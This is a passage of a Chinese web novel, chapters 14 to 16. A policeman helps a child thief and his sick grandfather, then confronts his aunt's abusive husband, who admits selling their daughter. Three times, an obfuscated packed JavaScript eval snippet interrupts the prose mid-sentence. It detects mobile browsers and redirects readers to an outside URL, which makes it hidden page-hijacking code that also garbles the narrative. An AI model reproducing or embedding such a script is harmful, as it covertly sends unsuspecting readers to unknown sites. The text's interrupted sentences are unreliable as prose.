眼瞅着有些说不过了,赵明一手将钱往摊主的摊位上一扔,另一只手拽着章政霖的胳膊,拔腿就跑。 摊主扯着嗓子在后面喊:“哎!同志……你们别跑啊……我说了不要钱的!” 直到摊主的声音彻底的听不见了,赵明才终于停了下来。 他双手扶着膝盖,气喘吁吁的说:“你说说,这年头,还有人给钱不要的?” “谁说不要?”章政霖低眉浅笑:“刚才那几个贼可想要的很。” 赵明的嘴角抽搐了一下,紧接着忍不住的狂笑了起来:“哈哈哈哈哈……我真是服了你了……” 等到笑够了,赵明又开始雄心壮志:“走走走,再去那边逛逛,我还没吃饱呢。” 逛着逛着,章政霖的脚步停在了一个卖鞋垫的摊位前。 这个摊位上面放着一摞有些与众不同的鞋垫,每一个鞋垫都只有巴掌大小,形状又尖又窄的。 和旁边那些正常尺寸的鞋垫摆在一起,就仿佛是一个小孩子不小心混进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539888|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了大人堆里似的,显得那样的格格不入。 章政霖拿起了一双小小的鞋垫,仔细的看了看,布料一层压着一层,纳的针脚也很密实,便问摊主:“这个怎么卖?” 摆摊的老太太正低着头纳鞋垫,针线在她指间上下翻飞,见章政霖询问价格,她非常诧异:“你确定要买吗?这是专门给裹脚的人用的,像你们这种年纪的小伙子,估计都没见过咯……” 随着老太太的话音落下,章政霖的脑海里面浮现出了奶奶走路时颤颤巍巍的身影。 “我见过,”他扯着嘴角轻轻笑了一下:“我奶奶就裹了脚。” 老太太瞬间就乐了,眼尾的褶子一根一根的炸开:“给你奶奶买的呀,你可真是个孝顺的好孩子,我给你便宜一点,给我一毛五就行了。” 章政霖把那些鞋垫全部都给装了起来,然后数了两块钱递过去:“不用找了。” “不行不行,要找的……”老太太低头去数钱。 可等到她把一把零碎的毛票抓在手里,准备找给章政霖的时候,却发现他和赵明已经挤进熙攘的人群消失不见了。 “这孩子……”老太太叹了一口气,转瞬间又眯着眼睛笑了起来,冲着隔壁的摊主开始絮絮叨叨:“你看到了没?这是个孝顺孩子呢……” 日头一寸寸的高升,集市也到了快要散场的时候。 章政霖和赵明正在帮一位大爷推着他的平板车,一个七八岁的小男孩突然一阵风似的从他们跟前跑过去了。 后面还有几个大人在追赶:“小兔崽子,你别跑!” “站住,你给我站住!” 章政霖给赵明使了个眼色,让他继续帮助大爷,自己则是迅速的追向了小男孩。 小男孩左一闪右一晃的,在一个个摊位之间来回的穿梭,滑溜的像个泥鳅似的。 但毕竟他年龄小,腿也短,很快就被章政霖给拦住了。 小男孩眼睛一眨,扭头就要调转方向,却被章政霖眼疾手快的一把揪住了后脖颈。 他用力的挣扎着,不断的挥舞着四肢:“放开我,你放开我!他们马上就要追来了……” 刚才男孩跑的太快了,头顶上的红字都有些飘忽不定的,此时章政霖才终于看清楚。 【罗二娃】 【男】 【7岁】 【2分钟前,于城关镇偷盗5元钱】 七岁的小孩,偷的钱不多,还是个初犯。 他的头发乱糟糟的,身上的衣服打了补丁,瞧着破破烂烂的,家境不是很好的样子。 章政霖按着他胡乱挣扎的手臂:“好了,乖,别乱动了。” 此时,追在罗二娃身后的那几个大人此时也跟了过来。 “公安同志,这小兔崽子偷了我5块钱,”失主在看到章政霖的瞬间就开始告状:“你让他把钱还给我,我就不计较了。” 章政霖垂眸看着罗二娃,柔声说道:“我不知道你为什么要偷钱,但不管是什么理由,偷东西都是不对的,你先把钱还给这位伯伯,其他的事情我们慢慢谈,好不好?” 罗二娃双手紧紧的捂着裤兜,牙齿死死的咬着下唇,嘴唇都咬出血来了,却还是倔强的摇头:“我不!” 15. 第 15 章 “不还啊?”章政霖强行将罗二娃的脑袋给掰了过来,正视着他的眼睛:“你家大人呢?” 这话一问出来,罗二娃挣扎的更加剧烈了:“放开我,放开我!你个坏蛋!你快点放开我!” “公安同志,你有所不知,”失主叹了一口气:“这个兔崽子没爹也没妈,就跟着一个老乞丐过活……” 一老一少就生活在这大集的附近,每逢初一十五的时候,帮着摊主们搬搬货,捡一些地上人家不要的东西,勉勉强强凑合着生活半个月,再等到下一次赶大集。 “兔崽子平时嘴还挺甜,这是头一次见他偷钱。”失主说着话,没好气的瞪了罗二娃一眼。 章政霖掐着罗二娃的嘎吱窝,把他放在了旁边的货架上,平视着他的眼睛,威胁道:“如果你还不愿意还钱的话,我们就要去找你爷爷,让你爷爷来还了。” “哇哇哇……”罗二娃瞬间红了眼眶,撕心裂肺的哭了起来:“我还,我还给你,你们不许告诉我爷爷!” 他颤颤抖着双手把那五块钱掏出来,递给了失主:“给你。” 失主收了钱,在罗二娃脑袋上来了一巴掌:“你个兔崽子,想吃东西跟我们说啊,又不是不给你,干什么做贼?!” 罗二娃吸了吸鼻子,抹了一把眼泪,瞪着章政霖说道:“你赶紧给我放开!我已经把钱还了!” 章政霖并没有松手,反而是指了指自己衣服上的警徽:“认得这是什么吗?” 罗二娃嘴唇哆嗦了一下,没有开口,但他的眼神已经替他回答了。 “我是公安,专门抓坏人的,”章政霖瞧见他害怕的样子,故意把事情往严重了说:“你偷了东西,按照法律,现在要把你抓起来,关上一年半载的……” “哇……”罗二娃再次控制不住的哭出了声来,他张着嘴巴,眼泪大颗大颗的往下滚。 “不……不要……”他牙齿打着颤,满脸哀求:“我求求你了……不要关我……” 罗二娃哭的泪流满面,声音也是断断续续的:“我要照顾爷爷……爷爷生病了……他躺在床上起不来了……好几天没吃东西了……我要给他买药……他会死的……他真的会死的……” 他一番话颠三倒四的说,没有什么逻辑,但在场的几个人都听懂了。 失主捏着那刚刚找回来的五块钱,面带犹豫:“要不……” “带我去看看你爷爷吧,”章政霖将失主的手给推了回去,低声对罗二娃说道:“暂时先不关你了。” “不行……”罗二娃的声音还在抖,脏兮兮的小脸上满是倔强之色:“你们要给爷爷告状……我不能让爷爷知道我偷东西……” 爷爷跟他说过的,穷人不能穷志气。 他们可以去捡人家不要的,甚至可以厚着脸皮去乞讨,但一定不能偷,也不能抢。 可他还是偷钱了…… 爷爷的身体本来就不好,他不能再让爷爷生气。 “我不告诉他,”章政霖心软了软,轻声哄道:“我们一起去看看你爷爷,我找大夫给他治病,好不好?” “真的吗?”罗二娃忐忑不安的问了一句。 “当然,”章政霖再次指了指自己衣服上的徽章,无比肯定的回答道:“我是公安,公安不能撒谎。” “好,”罗二娃低下头,看着自己沾满了泥巴的脚丫子:“我带你们去。” 赵明此时已经帮完了平板车大爷的忙,便跟着一起去了罗二娃的家。 说是家,其实就是用一些乱七八糟的东西,和几根木棍搭出来的一个窝而已。 一张破破烂烂的塑料布悬挂在入口处,充做了门。 因为照不到阳光,整个窝棚里面都是黑漆漆的,只能勉强看到,在一个用破木板组成起来的床上,躺着一位同样穿着破烂的老人。 老人瘦的都已经快要脱了相了,双眼紧闭着,连胸膛都不怎么起伏,似乎是已经到了垂死之际。 罗二娃扑了上去,眼泪“吧嗒吧嗒”的砸在了老人的脸颊上:“爷爷……爷爷……你醒一醒……” 罗老汉被罗二娃的哭声从昏沉中拽了出来,他伸出一只骨瘦如柴的手,擦了下他的眼泪:“别哭,爷爷这还没死……” 话未说完,罗老汉注意到窝棚里面多了几个人,他的眼睛眨了眨:“公安同志……我这孙子……是不是给你们添麻烦了?” 赵明二话不说,直接走过去扯着罗老汉的胳膊,搭在自己的肩膀上,把人给背了起来:“走,我带你上卫生所。” “不不不……”罗老汉挣扎着拒绝:“去什么卫生院?浪费那个钱……” 在这个年代,很多穷人连病都不敢生。 头疼脑热,发烧咳嗽,只要扛一扛,忍一忍也就过去了。 要是实在扛不住了,就去赤脚医生那里抓两副药,只要几分钱一包。 卫生院这种地方,都是给公家人看病的,挂号,检查,打针,拿药……每一项都是钱。 加在一起,就是沉甸甸的一座大山压在身上,让人连气都要喘不过来。 他都半截黄土埋身子的人了,还有什么好治的? 有这钱还不如给孙子留着,好歹还能让孙子多活几年。 可奈何,罗老汉实在是拗不过两个公安,最终还是被带去了卫生所。 刘振华被抓了以后,上面安排了一个新的所长,瞧见章政霖的刹那间,新所长下意识的觉得后背一凉。 他仔细的想了一下,确认自己没犯什么事,这才拍着胸脯松了一口气:“公安同志……您这是?” 章政霖让开一步,指着紧随其后走进来的赵明背上的罗老汉:“给这位大爷瞧瞧。” “好咧。”新所长紧锣密鼓的就安排人去给罗老汉做检查了。 趁着这个时间,章政霖冲罗二娃招了招手:“你过来。” 罗二娃小步小步的挪着:“还……还有什么事吗?” 章政霖故意板着个脸:“知道错了没?” “知……知道了,”罗二娃紧紧的攥着拳头,瓮声瓮气的说:“我以后再也不偷钱了,偷东西是不对的。” 他认识到了自己的错误,还对着一块跟到卫生所来的失主鞠了一个躬:“对不起,我真的知道错了。” “没事,”失主摸了摸罗二娃的脑袋:“知道错了,就还是好孩子。” 罗老汉的检查结果出来的挺快,新所长大致总结了一下:“不是什么大病,严重的营养不良,再加上年纪大了,免疫系统功能下降,受了点风就发起了高烧,身体底子太差了,扛不住,所以才会昏昏沉沉的。” “打个退烧针,挂两天葡萄糖,再开点口服的药,回去好好养着,多吃点有营养的东西,过几天就能下床了。” 章政霖跟着新所长去开药,赵明把兜里所有的钱都掏出来给了罗二娃:“拿着。” 一共也就二十来块,不多,但罗二娃有些不敢收:“不……我不能要……” 赵明强硬的把钱塞进他的手里:“让你拿着就拿着,你爷爷这身体得好好养着,拿去买点好东西吃,以后可千万不能再偷了。” 罗二娃的眼泪终于还是没有忍住,大颗大颗的从眼眶里涌了出来,他举起手发誓:“我保证,我以后再也不偷钱了。” 输了液,罗老汉于睡梦中紧皱的眉头都舒展了一些。 章政霖买了一点清淡的食物给了罗二娃:“吃东西的时候慢一点,不要吃太急了,小心噎着,我们就先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541619|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了。” 罗二娃一直将他们送到了卫生所的门口,直到身影都瞧不见了,还在那里拼命的挥手:“再见……还有……谢谢。” 回派出所的路上,赵明长叹一声:“明明我们自己也不富裕,但我就是见不得这些事情,你说我是不是心理有什么问题?” “能有什么问题?”章政霖忍俊不禁:“这说明你有同情心,是个好人啊。” 赵明愣了愣,随即又大笑了起来:“哈哈哈哈……你说的对。” 两人刚刚瞧见派出所的大门,一个蹲在门口的身影突然就像个炮仗一样的蹿了过来:“霖娃子,你总算回来了。” 章政霖认出来这是村长家的高金宝:“金宝哥,出什么事了?” 高金宝拽着章政霖的胳膊:“你奶让我来跟你说一声,叫你赶紧回家一趟。” 章政霖了解自己的奶奶,这一定是发生了什么紧急情况了,他侧眸看向赵明:“我先回去了,你帮我向胡所请半天假。” 赵明点头:“放心。” 一路上,章政霖把自行车蹬得飞起,高金宝在后面紧赶慢赶:“你倒是等等我啊……” 章政霖的速度非但没有减慢,反而是更快了一些,声音被风吹得飘出去很远:“金宝哥,我有事就先走了,你慢慢来。” —— 村委的那间夯土房门口,陈秀英坐在凳子上面纳鞋垫,她那嫁出去的女儿章沁又是劈柴,又是挑水,又是喂鸡,像个陀螺一样的忙个不停。 直到她拿着个笤帚扫到了陈秀英的脚底下:“妈,你稍微挪一挪。” 陈秀英淡淡看她一眼:“你别忙活了。” 章沁咬了咬嘴唇:“妈,我没求过你什么别的事情,就这一件事,你就当帮帮我……” “你让我怎么帮?”陈秀英来了气,把手里的鞋垫“啪”的一下甩在了凳子上:“你要的是三千块钱!不是三百块,就算把你妈我卖了,也弄不到这么多钱。” “还有,”陈秀英微微停顿了一下,目光中带着审视和打量:“你好好跟我说,你要这么多钱,到底要干什么?” “妈,你就别问了,”章沁跺了跺脚,一脸的为难:“你就说借不借吧?” 陈秀英把脖子往前一伸:“要钱没有,要命一条,你要是想要,就把你妈我这条命给拿去。” “妈!”章沁急的眼睛都红了:“我在好好跟你说话呢。” 陈秀英翻着白眼:“你以为我在跟你开玩笑吗?” 两个人谈话间,耳边响起了一阵自行车的声音。 章沁立马转身朝村道上跑了过去:“霖霖啊,你可算回来了,你能不能……” 她攥着自己的衣摆,眼睛都不敢去看章政霖:“能不能借我三千块钱?” 这钱章政霖还真有,但三千块不是一笔小数目,他得问清楚到底是做何目的:“姑姑,你要是不说明白用到哪里,我是不会借给你的。” 章沁看章政霖的态度这么坚决,实在是没办法了,竟是直接双腿一弯,跪了下去:“霖霖,就当姑姑求你了……” “姑姑,你先起来,有话咱们好好说……”章政霖立马去搀她。 可就在拽着章沁的胳膊的刹那间,她下意识的瑟缩了一下,甚至还疼的嘶了一声。 章政霖察觉到有些不对劲,一把拽着她的手腕,将她的袖子给撸了起来。 那不算白皙的胳膊上,密密麻麻的全是掐痕,咬痕以及鞭痕,看起来触目惊心的。 陈秀英迫不及待的追问出声:“你这是怎么回事?” 章沁眼神躲闪着:“没……就是我不小心磕到了。” 章政霖敛下眼眸,声音发冷:“你男人,打你了,是不是?” 16. 第 16 章 面对询问,章沁慌乱的将手背了过去,磕磕绊绊的说道:“也……也没有经常打,他平常对我还是挺好的……” “你个死丫头!”陈秀英看着女儿这副窝窝囊囊的样子,简直就是气不打一处来。 她早年间甩了那个糟老头子,一个人把三个孩子拉扯长大,没有在任何一个人面前低过头,服过软。 可偏偏养出来的女儿,性子懦弱的跟面团捏的似的。 “走,”陈秀英不由分说的抓住了章沁的手腕:“妈带你上门讨个说法去,他李康安要是说不出个子午寅丑来,你就跟他离婚!” “离婚”两个字宛若晴天霹雳一般炸响在章沁的耳边,将她整个人都给炸傻了。 她用力的甩开陈秀英的手,满脸的不可思议:“妈,你知不知道你在说什么?!” “我还有晓婷,我得给她一个完整的家呀!” 她自己就是由妈妈带大的。 两个哥哥尚且还知道爸爸长什么样,还在爸爸跟前承欢膝下过,但是从章沁有记忆开始,就只有妈妈。 她真的是过够了没有爸爸给她撑腰,没有爸爸当家做主的日子。 光那些闲言碎语,就能够把她淹死。 直到后来她嫁给了李康安。 李康安是一个杀猪匠,说话的嗓门特别的大,手上永远带着一股洗不掉的猪血腥气。 可李家永远都不缺肉吃。 自从她嫁入了李家,以前总是在她背后嚼舌根的那些人,突然就变了一副面孔。 他们开始酸溜溜的说她有福气,说她命好。 就连那两个小时候总是欺负她,抢她的东西的哥哥,也对她羡慕得紧,隔三差五的就上门来求她帮忙。 “妹啊,你跟你家康安说说,让他便宜点卖我几斤肉呗。” “沁沁,你跟妹夫讲一声啊,下次杀猪的时候给我留一副猪肚,我要请客用。” 每一次看着那两个曾经不可一世的哥哥,在她面前好声好语的样子,章沁都觉得心里面无比的痛快。 所以,哪怕结婚以后没过多久李康安就开始打她,她也一直忍着,从来没有告诉给任何人。 只要她出门的时候穿着长袖长裤,把身上的伤痕遮得严严实实的,就没有人知道她挨过打。 她就还是那个嫁给了杀猪匠,每天都有肉吃,过得无比的幸福,引的所有人羡慕的章沁。 她必须有这个丈夫,她也不可能离婚。 章政霖大致能猜到章沁的想法。 这个时代的女性大部分都是这样,她们以为只要自己忍着,不被外人知道,掩饰着表面上的平静,就可以继续把日子给过下去。 这是一整个时代投射下的阴影,短时间内根本无从改变。 章政霖也没想着三言两语就能让章沁离婚,所以他选择了迂回的战略,解决一下章沁目前的困境:“不离婚也行。” 顶着陈秀英不太赞同的目光,章政霖缓缓开口道:“但是必须给他一个教训,让他知道你不是好欺负的。” 章沁眨了眨眼睛,颤声回答:“也……也行……” 毕竟如果可以正常过日子的话,她也不想挨打呀。 陈秀英虽然平时对自己那两个倒霉儿子瞧不上,嫌弃他们好吃懒做,偷奸耍滑,但到了该用他们的时候,她也从来都不会犹豫。 这个时候,人们的集体意识还是挺强的,陈秀英只简单的说了两句章沁挨打的事情,章老大和章老二便雄赳赳气昂昂的支愣起来了。 章老大鼓着腮帮子,一副要去干架的样式:“敢欺负我妹子,我看这个李康安是活的不耐烦了。” “他娘的……”章老二一边撸着袖子一边说:“今天老子就要让他看看花儿为什么这样红。” 陈秀英反手一巴掌拍在了他的脑门上:“你跟谁老子呢?” 章老二脖子一缩,委屈巴巴的回答道:“妈,我错了……” 章沁目瞪口呆的看着事情走上了奇怪的方向,忍不住询问章政霖:“你不是公安吗?打了人不违背纪律吗?” 章政霖双手抱胸,老神在在的说:“我又不动手。” 大不了等他们打完了,再把章老大和章老二抓到派出所去关上几天,反正也损失不了什么。 章沁的嘴巴张着,眼睛瞪得溜圆:“还……还能这样?” 一家四口抄着家伙,一路斗志昂扬地朝着隔壁村的李家而去,宛若要进村打劫的土匪似的。 高金宝蹬着自行车紧赶慢赶的回来,就瞧见了这一幕。 抱着吃瓜要吃完整的心思,也顾不上累了,原本酸软的腿再次往脚踏子上一蹬:“等等我呀,我也去……” 两个村子离得近,不少人都认识陈秀英:“哟,这不是章家奶奶吗?这是干啥去啊?” 陈秀英的脚步没停:“有点事情,找李康安。” 此时地里的农活还没有那么忙,多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546292|203763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是人想要凑热闹,听到这番话,一个二个的全都凑了上来。 李康安家在村子的东边,院子里面坐落着几间才修了不久的红砖大瓦房,看着就气派。 院子的门敞着,众人直接就进去了,堂屋的门开了一条缝,一股浓烈的酒气不断的从缝隙里面飘散而来。 高金宝猫着个脑袋,嘀嘀咕咕:“这是喝了多少啊?” 章政霖毕竟是公职人员,他停在了院子门口:“我就不进去了。” 章老大还记得前段时间惹了章政霖,被自己好大儿吐了满身满脸的丢人事情。 他拍着胸脯跟章政霖打包票:“你就把心放在肚子里,我保证让这个李康安从今以后都对你姑姑服服帖帖的。” 章政霖下巴轻抬:“嗯。” 章沁此时小跑着上前推开了门:“当家的……” 只见堂屋里,李康安已经喝的完全不省人事了,他的脑袋歪着,脸枕在胳膊上,嘴角还挂着一道亮晶晶的涎水。 他脚边的地上还倒着两个白酒瓶,都已经被喝干了。 章沁的心里有些纳闷。 今天早上的时候,李康安还是一副吓得要死的模样,说今天如果再还不上钱的话,人家赌场那边的人就要把他的手指头给剁了。 可这会儿怎么突然又喝起酒来了? “当家的,醒醒……”章沁走上前推了一把李康安,试图把人给叫起来。 结果章老大和章老二二话不说,直接对着醉醺醺的李康安就是劈头盖脸的一顿打。 他们打人的扁担是用来挑水的,足足有手掌那么宽,打在肉上“啪啪”的响,光听着都觉得肉疼的很。 章沁下意识的后退了两步。 打了她男人,可就不能再打她了哦…… 于是,章沁转头就往旁边的卧房走去了:“晓婷,妈妈回来了,快出来。” 可章沁翻遍了所有的屋,却始终没有找到自己的女儿李晓婷。 再回想起李康安喝得酩酊大醉的模样,章沁的心里面升起了一股不详的预感。 她踉踉跄跄地跑回了堂屋,一把拽过李康安的衣领,大声质问着:“晓婷呢?晓婷去哪了?!” 李康安的眼神终于聚焦了一点:“晓婷啊……” “被我给卖了……”他眯着眼睛,缓缓的举起右手,伸出了五根手指头:“卖了五千块……” “还完了账,还能剩两千,嘿……嘿嘿嘿……”